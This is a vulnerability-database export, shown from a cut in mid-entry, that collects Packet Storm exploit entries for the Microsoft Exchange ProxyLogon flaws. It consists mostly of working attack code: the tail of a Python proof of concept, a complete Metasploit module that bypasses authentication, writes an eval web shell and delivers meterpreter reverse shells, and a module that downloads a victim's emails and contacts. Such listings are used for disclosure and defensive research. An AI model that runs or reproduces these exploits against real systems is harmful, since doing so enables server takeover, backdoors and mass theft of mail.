\n\"User-Agent\": user_agent \n}, \njson=reset_oab_body, \nverify=False \n) \n \nif ct.status_code != 200: \nprint(\"Write Shell Error!\") \nexit() \n \nprint(\"Successful!\") \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/161806/PoC_proxyLogon.py.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-03-23T16:45:01", "description": "", "cvss3": {}, "published": "2021-03-23T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyLogon Remote Code Execution", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-03-23T00:00:00", "id": "PACKETSTORM:161938", "href": "https://packetstormsecurity.com/files/161938/Microsoft-Exchange-ProxyLogon-Remote-Code-Execution.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \nprepend Msf::Exploit::Remote::AutoCheck \n \ninclude Msf::Exploit::CmdStager \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Powershell \ninclude Msf::Exploit::Remote::CheckModule \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyLogon RCE', \n'Description' => %q{ \nThis module exploit a vulnerability on Microsoft Exchange Server that \nallows an attacker bypassing the authentication, impersonating as the \nadmin (CVE-2021-26855) and write arbitrary file (CVE-2021-27065) to get \nthe RCE (Remote Code Execution). \n \nBy taking advantage of this vulnerability, you can execute arbitrary \ncommands on the remote Microsoft Exchange Server. \n \nThis vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'Orange Tsai', # Dicovery (Officially acknowledged by MSRC) \n'Jang (@testanull)', # Vulnerability analysis + PoC (https://twitter.com/testanull) \n'mekhalleh (RAMELLA S\u00e9bastien)', # Module author independent researcher (who listen to 'Le Comptoir Secu' and work at Zeop Entreprise) \n'print(\"\")', # https://www.o2oxy.cn/3169.html \n'lotusdll' # https://twitter.com/lotusdll/status/1371465073525362691 \n], \n'References' => [ \n['CVE', '2021-26855'], \n['CVE', '2021-27065'], \n['LOGO', 'https://proxylogon.com/images/logo.jpg'], \n['URL', 'https://proxylogon.com/'], \n['URL', 'http://aka.ms/exchangevulns'], \n['URL', 'https://www.praetorian.com/blog/reproducing-proxylogon-exploit'], \n[ \n'URL', \n'https://testbnull.medium.com/ph%C3%A2n-t%C3%ADch-l%E1%BB%97-h%E1%BB%95ng-proxylogon-mail-exchange-rce-s%E1%BB%B1-k%E1%BA%BFt-h%E1%BB%A3p-ho%C3%A0n-h%E1%BA%A3o-cve-2021-26855-37f4b6e06265' \n], \n['URL', 'https://www.o2oxy.cn/3169.html'], \n['URL', 'https://github.com/Zeop-CyberSec/proxylogon_writeup'] \n], \n'DisclosureDate' => '2021-03-02', \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'CheckModule' => 'auxiliary/scanner/http/exchange_proxylogon', \n'HttpClientTimeout' => 60, \n'RPORT' => 443, \n'SSL' => true, \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n}, \n'Platform' => ['windows'], \n'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86], \n'Privileged' => true, \n'Targets' => [ \n[ \n'Windows Powershell', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_powershell, \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' \n} \n} \n], \n[ \n'Windows Dropper', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_X64, ARCH_X86], \n'Type' => :windows_dropper, \n'CmdStagerFlavor' => %i[psh_invokewebrequest], \n'DefaultOptions' => { \n'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp', \n'CMDSTAGER::FLAVOR' => 'psh_invokewebrequest' \n} \n} \n], \n[ \n'Windows Command', \n{ \n'Platform' => 'windows', \n'Arch' => [ARCH_CMD], \n'Type' => :windows_command, \n'DefaultOptions' => { \n'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp' \n} \n} \n] \n], \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [CRASH_SAFE], \n'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], \n'AKA' => ['ProxyLogon'] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'A known email address for this organization']), \nOptEnum.new('METHOD', [true, 'HTTP Method to use for the check', 'POST', ['GET', 'POST']]), \nOptBool.new('UseAlternatePath', [true, 'Use the IIS root dir as alternate path', false]) \n]) \n \nregister_advanced_options([ \nOptString.new('ExchangeBasePath', [true, 'The base path where exchange is installed', 'C:\\\\Program Files\\\\Microsoft\\\\Exchange Server\\\\V15']), \nOptString.new('ExchangeWritePath', [true, 'The path where you want to write the backdoor', 'owa\\\\auth']), \nOptString.new('IISBasePath', [true, 'The base path where IIS wwwroot directory is', 'C:\\\\inetpub\\\\wwwroot']), \nOptString.new('IISWritePath', [true, 'The path where you want to write the backdoor', 'aspnet_client']), \nOptString.new('MapiClientApp', [true, 'This is MAPI client version sent in the request', 'Outlook/15.0.4815.1002']), \nOptInt.new('MaxWaitLoop', [true, 'Max counter loop to wait for OAB Virtual Dir reset', 30]), \nOptString.new('UserAgent', [true, 'The HTTP User-Agent sent in the request', 'Mozilla/5.0']) \n]) \nend \n \ndef cmd_windows_generic? \ndatastore['PAYLOAD'] == 'cmd/windows/generic' \nend \n \ndef encode_cmd(cmd) \ncmd.gsub!('\\\\', '\\\\\\\\\\\\') \ncmd.gsub('\"', '\\u0022').gsub('&', '\\u0026').gsub('+', '\\u002b') \nend \n \ndef execute_command(cmd, _opts = {}) \ncmd = \"Response.Write(new ActiveXObject(\\\"WScript.Shell\\\").Exec(\\\"#{encode_cmd(cmd)}\\\").StdOut.ReadAll());\" \nsend_request_raw( \n'method' => 'POST', \n'uri' => normalize_uri(web_directory, @random_filename), \n'ctype' => 'application/x-www-form-urlencoded', \n'data' => \"#{@random_inputname}=#{cmd}\" \n) \nend \n \ndef install_payload(exploit_info) \n# exploit_info: [server_name, sid, session, canary, oab_id] \n \ninput_name = rand_text_alpha(4..8).to_s \nshell = \"http://o/#<script language=\\\"JScript\\\" runat=\\\"server\\\">function Page_Load(){eval(Request[\\\"#{input_name}\\\"],\\\"unsafe\\\");}</script>\" \ndata = { \nidentity: { \n__type: 'Identity:ECP', \nDisplayName: (exploit_info[4][0]).to_s, \nRawIdentity: (exploit_info[4][1]).to_s \n}, \nproperties: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nExternalUrl: shell.to_s \n} \n} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=OABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: exploit_info[2], \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(exploit_info[1]), \n'msExchTargetMailbox' => patch_sid(exploit_info[1]), \n'X-vDirObjectId' => (exploit_info[4][1]).to_s \n} \n) \nreturn '' if response.code != 200 \n \ninput_name \nend \n \ndef message(msg) \n\"#{@proto}://#{datastore['RHOST']}:#{datastore['RPORT']} - #{msg}\" \nend \n \ndef patch_sid(sid) \nar = sid.to_s.split('-') \nif ar[-1] != '500' \nsid = \"#{ar[0..6].join('-')}-500\" \nend \n \nsid \nend \n \ndef random_mapi_id \nid = \"{#{Rex::Text.rand_text_hex(8)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(4)}\" \nid = \"#{id}-#{Rex::Text.rand_text_hex(12)}}\" \nid.upcase \nend \n \ndef random_ssrf_id \n# https://en.wikipedia.org/wiki/2,147,483,647 (lol) \n# max. 2147483647 \nrand(1941962752..2147483647) \nend \n \ndef request_autodiscover(server_name) \nxmlns = { 'xmlns' => 'http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a' } \n \nresponse = send_http( \n'POST', \n\"#{server_name}/autodiscover/autodiscover.xml?a=~#{random_ssrf_id}\", \ndata: soap_autodiscover, \nctype: 'text/xml; charset=utf-8' \n) \n \ncase response.body \nwhen %r{<ErrorCode>500</ErrorCode>} \nfail_with(Failure::NotFound, 'No Autodiscover information was found') \nwhen %r{<Action>redirectAddr</Action>} \nfail_with(Failure::NotFound, 'No email address was found') \nend \n \nxml = Nokogiri::XML.parse(response.body) \n \nlegacy_dn = xml.at_xpath('//xmlns:User/xmlns:LegacyDN', xmlns)&.content \nfail_with(Failure::NotFound, 'No \\'LegacyDN\\' was found') if legacy_dn.nil? || legacy_dn.empty? \n \nserver = '' \nxml.xpath('//xmlns:Account/xmlns:Protocol', xmlns).each do |item| \ntype = item.at_xpath('./xmlns:Type', xmlns)&.content \nif type == 'EXCH' \nserver = item.at_xpath('./xmlns:Server', xmlns)&.content \nend \nend \nfail_with(Failure::NotFound, 'No \\'Server ID\\' was found') if server.nil? || server.empty? \n \n[server, legacy_dn] \nend \n \n# https://docs.microsoft.com/en-us/openspecs/exchange_server_protocols/ms-oxcmapihttp/c245390b-b115-46f8-bc71-03dce4a34bff \ndef request_mapi(server_name, legacy_dn, server_id) \ndata = \"#{legacy_dn}\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x09\\x04\\x00\\x00\\x00\\x00\\x00\\x00\" \nheaders = { \n'X-RequestType' => 'Connect', \n'X-ClientInfo' => random_mapi_id, \n'X-ClientApplication' => datastore['MapiClientApp'], \n'X-RequestId' => \"#{random_mapi_id}:#{Rex::Text.rand_text_numeric(5)}\" \n} \n \nsid = '' \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/mapi/emsmdb?MailboxId=#{server_id}&a=~#{random_ssrf_id}\", \ndata: data, \nctype: 'application/mapi-http', \nheaders: headers \n) \nif response.code == 200 \nsid_regex = /S-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*-[0-9]*/ \n \nsid = response.body.match(sid_regex).to_s \nend \nfail_with(Failure::NotFound, 'No \\'SID\\' was found') if sid.empty? \n \nsid \nend \n \ndef request_oab(server_name, sid, session, canary) \ndata = { \nfilter: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nSelectedView: '', \nSelectedVDirType: 'OAB' \n} \n}, \nsort: {} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/ecp/DDI/DDIService.svc/GetList?reqId=1615583487987&schema=VirtualDirectory&msExchEcpCanary=#{canary}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: session, \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(sid), \n'msExchTargetMailbox' => patch_sid(sid) \n} \n) \n \nif response.code == 200 \ndata = JSON.parse(response.body) \ndata['d']['Output'].each do |oab| \nif oab['Server'].downcase == server_name.downcase \nreturn [oab['Identity']['DisplayName'], oab['Identity']['RawIdentity']] \nend \nend \nend \n \n[] \nend \n \ndef request_proxylogon(server_name, sid) \ndata = \"<r at=\\\"Negotiate\\\" ln=\\\"#{datastore['EMAIL'].split('@')[0]}\\\"><s>#{sid}</s></r>\" \nsession_id = '' \ncanary = '' \n \nresponse = send_http( \n'POST', \n\"Admin@#{server_name}:444/ecp/proxyLogon.ecp?a=~#{random_ssrf_id}\", \ndata: data, \nctype: 'text/xml; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(sid), \n'msExchTargetMailbox' => patch_sid(sid) \n} \n) \nif response.code == 241 \nsession_id = response.get_cookies.scan(/ASP\\.NET_SessionId=([\\w\\-]+);/).flatten[0] \ncanary = response.get_cookies.scan(/msExchEcpCanary=([\\w\\-_.]+);*/).flatten[0] # coin coin coin ... \nend \n \n[session_id, canary] \nend \n \n# pre-authentication SSRF (Server Side Request Forgery) + impersonate as admin. \ndef run_cve_2021_26855 \n# request for internal server name. \nresponse = send_http(datastore['METHOD'], \"localhost~#{random_ssrf_id}\") \nif response.code != 500 || !response.headers.to_s.include?('X-FEServer') \nfail_with(Failure::NotFound, 'No \\'X-FEServer\\' was found') \nend \n \nserver_name = response.headers['X-FEServer'] \nprint_status(\"Internal server name (#{server_name})\") \n \n# get informations by autodiscover request. \nprint_status(message('Sending autodiscover request')) \nserver_id, legacy_dn = request_autodiscover(server_name) \n \nprint_status(\"Server: #{server_id}\") \nprint_status(\"LegacyDN: #{legacy_dn}\") \n \n# get the user UID using mapi request. \nprint_status(message('Sending mapi request')) \nsid = request_mapi(server_name, legacy_dn, server_id) \nprint_status(\"SID: #{sid} (#{datastore['EMAIL']})\") \n \n# search oab \nsid, session, canary, oab_id = search_oab(server_name, sid) \n \n[server_name, sid, session, canary, oab_id] \nend \n \n# post-auth arbitrary file write. \ndef run_cve_2021_27065(session_info) \n# set external url (and set the payload). \nprint_status('Prepare the payload on the remote target') \ninput_name = install_payload(session_info) \n \nfail_with(Failure::NoAccess, 'Could\\'t prepare the payload on the remote target') if input_name.empty? \n \n# reset the virtual directory (and write the payload). \nprint_status('Write the payload on the remote target') \nremote_file = write_payload(session_info) \n \nfail_with(Failure::NoAccess, 'Could\\'t write the payload on the remote target') if remote_file.empty? \n \n# wait a lot. \ni = 0 \nwhile i < datastore['MaxWaitLoop'] \nreceived = send_request_cgi({ \n'method' => 'GET', \n'uri' => normalize_uri(web_directory, remote_file) \n}) \nif received && (received.code == 200) \nbreak \nend \n \nprint_warning(\"Wait a lot (#{i})\") \nsleep 5 \ni += 1 \nend \nfail_with(Failure::PayloadFailed, 'Could\\'t take the remote backdoor (see. ExchangePathBase option)') if received.code == 302 \n \n[input_name, remote_file] \nend \n \ndef search_oab(server_name, sid) \n# request cookies (session and canary) \nprint_status(message('Sending ProxyLogon request')) \n \nprint_status('Try to get a good msExchCanary (by patching user SID method)') \nsession_id, canary = request_proxylogon(server_name, patch_sid(sid)) \nif canary \nsession = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\" \noab_id = request_oab(server_name, sid, session, canary) \nend \n \nif oab_id.nil? || oab_id.empty? \nprint_status('Try to get a good msExchCanary (without correcting the user SID)') \nsession_id, canary = request_proxylogon(server_name, sid) \nif canary \nsession = \"ASP.NET_SessionId=#{session_id}; msExchEcpCanary=#{canary};\" \noab_id = request_oab(server_name, sid, session, canary) \nend \nend \n \nfail_with(Failure::NotFound, 'No \\'ASP.NET_SessionId\\' was found') if session_id.nil? || session_id.empty? \nfail_with(Failure::NotFound, 'No \\'msExchEcpCanary\\' was found') if canary.nil? || canary.empty? \nfail_with(Failure::NotFound, 'No \\'OAB Id\\' was found') if oab_id.nil? || oab_id.empty? \n \nprint_status(\"ASP.NET_SessionId: #{session_id}\") \nprint_status(\"msExchEcpCanary: #{canary}\") \nprint_status(\"OAB id: #{oab_id[1]} (#{oab_id[0]})\") \n \nreturn [sid, session, canary, oab_id] \nend \n \ndef send_http(method, ssrf, opts = {}) \nssrf = \"X-BEResource=#{ssrf};\" \nif opts[:cookie] && !opts[:cookie].empty? \nopts[:cookie] = \"#{ssrf} #{opts[:cookie]}\" \nelse \nopts[:cookie] = ssrf.to_s \nend \n \nopts[:ctype] = 'application/x-www-form-urlencoded' if opts[:ctype].nil? \n \nrequest = { \n'method' => method, \n'uri' => @random_uri, \n'agent' => datastore['UserAgent'], \n'ctype' => opts[:ctype] \n} \nrequest = request.merge({ 'data' => opts[:data] }) unless opts[:data].nil? \nrequest = request.merge({ 'cookie' => opts[:cookie] }) unless opts[:cookie].nil? \nrequest = request.merge({ 'headers' => opts[:headers] }) unless opts[:headers].nil? \n \nreceived = send_request_cgi(request) \nfail_with(Failure::TimeoutExpired, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef soap_autodiscover \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<Autodiscover xmlns=\"http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006\"> \n<Request> \n<EMailAddress>#{datastore['EMAIL']}</EMailAddress> \n<AcceptableResponseSchema>http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema> \n</Request> \n</Autodiscover> \nSOAP \nend \n \ndef web_directory \nif datastore['UseAlternatePath'] \nweb_dir = datastore['IISWritePath'].gsub('\\\\', '/') \nelse \nweb_dir = datastore['ExchangeWritePath'].gsub('\\\\', '/') \nend \nweb_dir \nend \n \ndef write_payload(exploit_info) \n# exploit_info: [server_name, sid, session, canary, oab_id] \n \nremote_file = \"#{rand_text_alpha(4..8)}.aspx\" \nif datastore['UseAlternatePath'] \nremote_path = \"#{datastore['IISBasePath'].split(':')[1]}\\\\#{datastore['IISWritePath']}\" \nremote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['IISBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\" \nelse \nremote_path = \"#{datastore['ExchangeBasePath'].split(':')[1]}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\" \nremote_path = \"\\\\\\\\127.0.0.1\\\\#{datastore['ExchangeBasePath'].split(':')[0]}$#{remote_path}\\\\#{remote_file}\" \nend \n \ndata = { \nidentity: { \n__type: 'Identity:ECP', \nDisplayName: (exploit_info[4][0]).to_s, \nRawIdentity: (exploit_info[4][1]).to_s \n}, \nproperties: { \nParameters: { \n__type: 'JsonDictionaryOfanyType:#Microsoft.Exchange.Management.ControlPanel', \nFilePathName: remote_path.to_s \n} \n} \n}.to_json \n \nresponse = send_http( \n'POST', \n\"Admin@#{exploit_info[0]}:444/ecp/DDI/DDIService.svc/SetObject?schema=ResetOABVirtualDirectory&msExchEcpCanary=#{exploit_info[3]}&a=~#{random_ssrf_id}\", \ndata: data, \ncookie: exploit_info[2], \nctype: 'application/json; charset=utf-8', \nheaders: { \n'msExchLogonMailbox' => patch_sid(exploit_info[1]), \n'msExchTargetMailbox' => patch_sid(exploit_info[1]), \n'X-vDirObjectId' => (exploit_info[4][1]).to_s \n} \n) \nreturn '' if response.code != 200 \n \nremote_file \nend \n \ndef exploit \n@proto = (ssl ? 'https' : 'http') \n@random_uri = normalize_uri('ecp', \"#{rand_text_alpha(1..3)}.js\") \n \nprint_status(message('Attempt to exploit for CVE-2021-26855')) \nexploit_info = run_cve_2021_26855 \n \nprint_status(message('Attempt to exploit for CVE-2021-27065')) \nshell_info = run_cve_2021_27065(exploit_info) \n \n@random_inputname = shell_info[0] \n@random_filename = shell_info[1] \n \nprint_good(\"Yeeting #{datastore['PAYLOAD']} payload at #{peer}\") \nif datastore['UseAlternatePath'] \nremote_file = \"#{datastore['IISBasePath']}\\\\#{datastore['IISWritePath']}\\\\#{@random_filename}\" \nelse \nremote_file = \"#{datastore['ExchangeBasePath']}\\\\FrontEnd\\\\HttpProxy\\\\#{datastore['ExchangeWritePath']}\\\\#{@random_filename}\" \nend \nregister_files_for_cleanup(remote_file) \n \n# trigger powa! \ncase target['Type'] \nwhen :windows_command \nvprint_status(\"Generated payload: #{payload.encoded}\") \n \nif !cmd_windows_generic? \nexecute_command(payload.encoded) \nelse \nresponse = execute_command(\"cmd /c #{payload.encoded}\") \n \nprint_warning('Dumping command output in response') \noutput = response.body.split('Name :')[0] \nif output.empty? \nprint_error('Empty response, no command output') \nreturn \nend \nprint_line(output) \nend \nwhen :windows_dropper \nexecute_command(generate_cmdstager(concat_operator: ';').join) \nwhen :windows_powershell \ncmd = cmd_psh_payload(payload.encoded, payload.arch.first, remove_comspec: true) \nexecute_command(cmd) \nend \nend \n \nend \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/161938/exchange_proxylogon_rce.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2021-05-21T16:03:52", "description": "", "cvss3": {}, "published": "2021-05-21T00:00:00", "type": "packetstorm", "title": "Microsoft Exchange ProxyLogon Collector", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2021-26855", "CVE-2021-27065"], "modified": "2021-05-21T00:00:00", "id": "PACKETSTORM:162736", "href": "https://packetstormsecurity.com/files/162736/Microsoft-Exchange-ProxyLogon-Collector.html", "sourceData": "`# Exploit Title: Microsoft Exchange 2019 - Unauthenticated Email Download (Metasploit) \n# Date: 2021-03-02 \n# Exploit Author: RAMELLA S\u00e9bastien \n# Vendor Homepage: https://microsoft.com \n# Version: This vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n# Tested on: Microsoft Windows 2012 R2 - Exchange 2016 \n \n## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \n# begin auxiliary class \nclass MetasploitModule < Msf::Auxiliary \ninclude Msf::Exploit::Remote::HttpClient \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n'Name' => 'Microsoft Exchange ProxyLogon Collector', \n'Description' => %q{ \nThis module scan for a vulnerability on Microsoft Exchange Server that \nallows an attacker bypassing the authentication and impersonating as the \nadmin (CVE-2021-26855). \n \nBy chaining this bug with another post-auth arbitrary-file-write \nvulnerability to get code execution (CVE-2021-27065). \n \nAs a result, an unauthenticated attacker can execute arbitrary commands on \nMicrosoft Exchange Server. \n \nThis vulnerability affects (Exchange 2013 Versions < 15.00.1497.012, \nExchange 2016 CU18 < 15.01.2106.013, Exchange 2016 CU19 < 15.01.2176.009, \nExchange 2019 CU7 < 15.02.0721.013, Exchange 2019 CU8 < 15.02.0792.010). \n \nAll components are vulnerable by default. \n}, \n'Author' => [ \n'mekhalleh (RAMELLA S\u00e9bastien)' # Module author (Zeop Entreprise) \n], \n'References' => [ \n['CVE', '2021-26855'], \n['LOGO', 'https://proxylogon.com/images/logo.jpg'], \n['URL', 'https://proxylogon.com/'], \n['URL', 'https://raw.githubusercontent.com/microsoft/CSS-Exchange/main/Security/http-vuln-cve2021-26855.nse'], \n['URL', 'http://aka.ms/exchangevulns'] \n], \n'DisclosureDate' => '2021-03-02', \n'License' => MSF_LICENSE, \n'DefaultOptions' => { \n'RPORT' => 443, \n'SSL' => true \n}, \n'Notes' => { \n'AKA' => ['ProxyLogon'] \n} \n) \n) \n \nregister_options([ \nOptString.new('EMAIL', [true, 'The email account what you want dump']), \nOptString.new('FOLDER', [true, 'The email folder what you want dump', 'inbox']), \nOptString.new('SERVER_NAME', [true, 'The name of secondary internal Exchange server targeted']) \n]) \n \nregister_advanced_options([ \nOptInt.new('MaxEntries', [false, 'Override the maximum number of object to dump', 512]) \n]) \nend \n \nXMLNS = { 't' => 'http://schemas.microsoft.com/exchange/services/2006/types' }.freeze \n \ndef grab_contacts \nresponse = send_xml(soap_findcontacts) \nxml = Nokogiri::XML.parse(response.body) \n \ndata = xml.xpath('//t:Contact', XMLNS) \nif data.empty? \nprint_status(' - the user has no contacts') \nelse \nwrite_loot(data.to_s) \nend \nend \n \ndef grab_emails(total_count) \n# get the emails list of the target folder. \nresponse = send_xml(soap_maillist(total_count)) \nxml = Nokogiri::XML.parse(response.body) \n \n# iteration to download the emails. \nxml.xpath('//t:ItemId', XMLNS).each do |item| \nprint_status(\" - download item: #{item.values[1]}\") \nresponse = send_xml(soap_download(item.values[0], item.values[1])) \nxml = Nokogiri::XML.parse(response.body) \n \nmessage = xml.at_xpath('//t:MimeContent', XMLNS).content \nwrite_loot(Rex::Text.decode_base64(message)) \nend \nend \n \ndef send_xml(data) \nuri = normalize_uri('ecp', 'temp.js') \n \nreceived = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => \"X-BEResource=#{datastore['SERVER_NAME']}/EWS/Exchange.asmx?a=~3;\", \n'ctype' => 'text/xml; charset=utf-8', \n'data' => data \n) \nfail_with(Failure::Unknown, 'Server did not respond in an expected way') unless received \n \nreceived \nend \n \ndef soap_download(id, change_key) \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:GetItem> \n<m:ItemShape> \n<t:BaseShape>IdOnly</t:BaseShape> \n<t:IncludeMimeContent>true</t:IncludeMimeContent> \n</m:ItemShape> \n<m:ItemIds> \n<t:ItemId Id=\"#{id}\" ChangeKey=\"#{change_key}\" /> \n</m:ItemIds> \n</m:GetItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_findcontacts \n<<~SOAP \n<?xml version='1.0' encoding='utf-8'?> \n<soap:Envelope \nxmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' \nxmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' \nxmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' \nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> \n<soap:Body> \n<m:FindItem Traversal='Shallow'> \n<m:ItemShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:ItemShape> \n<m:IndexedPageItemView MaxEntriesReturned=\"#{datastore['MaxEntries']}\" Offset=\"0\" BasePoint=\"Beginning\" /> \n<m:ParentFolderIds> \n<t:DistinguishedFolderId Id='contacts'> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:ParentFolderIds> \n</m:FindItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_mailnum \n<<~SOAP \n<?xml version=\"1.0\" encoding=\"utf-8\"?> \n<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" \nxmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\" \nxmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" \nxmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\"> \n<soap:Body> \n<m:GetFolder> \n<m:FolderShape> \n<t:BaseShape>Default</t:BaseShape> \n</m:FolderShape> \n<m:FolderIds> \n<t:DistinguishedFolderId Id=\"#{datastore['FOLDER']}\"> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:FolderIds> \n</m:GetFolder> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef soap_maillist(max_entries) \n<<~SOAP \n<?xml version='1.0' encoding='utf-8'?> \n<soap:Envelope \nxmlns:soap='http://schemas.xmlsoap.org/soap/envelope/' \nxmlns:t='http://schemas.microsoft.com/exchange/services/2006/types' \nxmlns:m='http://schemas.microsoft.com/exchange/services/2006/messages' \nxmlns:xsi='http://www.w3.org/2001/XMLSchema-instance'> \n<soap:Body> \n<m:FindItem Traversal='Shallow'> \n<m:ItemShape> \n<t:BaseShape>AllProperties</t:BaseShape> \n</m:ItemShape> \n<m:IndexedPageItemView MaxEntriesReturned=\"#{max_entries}\" Offset=\"0\" BasePoint=\"Beginning\" /> \n<m:ParentFolderIds> \n<t:DistinguishedFolderId Id='#{datastore['FOLDER']}'> \n<t:Mailbox> \n<t:EmailAddress>#{datastore['EMAIL']}</t:EmailAddress> \n</t:Mailbox> \n</t:DistinguishedFolderId> \n</m:ParentFolderIds> \n</m:FindItem> \n</soap:Body> \n</soap:Envelope> \nSOAP \nend \n \ndef write_loot(data) \nloot_path = store_loot('', 'text/plain', datastore['RHOSTS'], data, '', '') \nprint_good(\" - file saved to #{loot_path}\") \nend \n \ndef run \n# get the informations about the targeted user account. \nresponse = send_xml(soap_mailnum) \nif response.body =~ /Success/ \nprint_status('Connection to the server is successful') \nprint_status(\" - selected account: #{datastore['EMAIL']}\\n\") \n \n# grab contacts. \nprint_status('Attempt to dump contacts list for this user') \ngrab_contacts \n \nprint_line \n \n# grab emails. \nprint_status('Attempt to dump emails for this user') \nxml = Nokogiri::XML.parse(response.body) \nfolder_id = xml.at_xpath('//t:FolderId', XMLNS).values \nprint_status(\" - selected folder: #{datastore['FOLDER']} (#{folder_id[0]})\") \n \ntotal_count = xml.at_xpath('//t:TotalCount', XMLNS).content \nprint_status(\" - number of email found: #{total_count}\") \n \nif total_count.to_i > datastore['MaxEntries'] \nprint_warning(\" - number of email recaluled due to max entries: #{datastore['MaxEntries']}\") \ntotal_count = datastore['MaxEntries'].to_s \nend \ngrab_emails(total_count) \nend \nend \n \nend \n \n`\n", "sourceHref": "https://packetstormsecurity.com/files/download/162736/msexchange-disclose.rb.txt", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}], "metasploit": [{"lastseen": "2023-01-06T00:53:22", "description": "This module exploit a vulnerability on Microsoft Exchange Server that allows an attacker bypassing the authentication and impersonating as the admin (CVE-2021-26855). By taking advantage 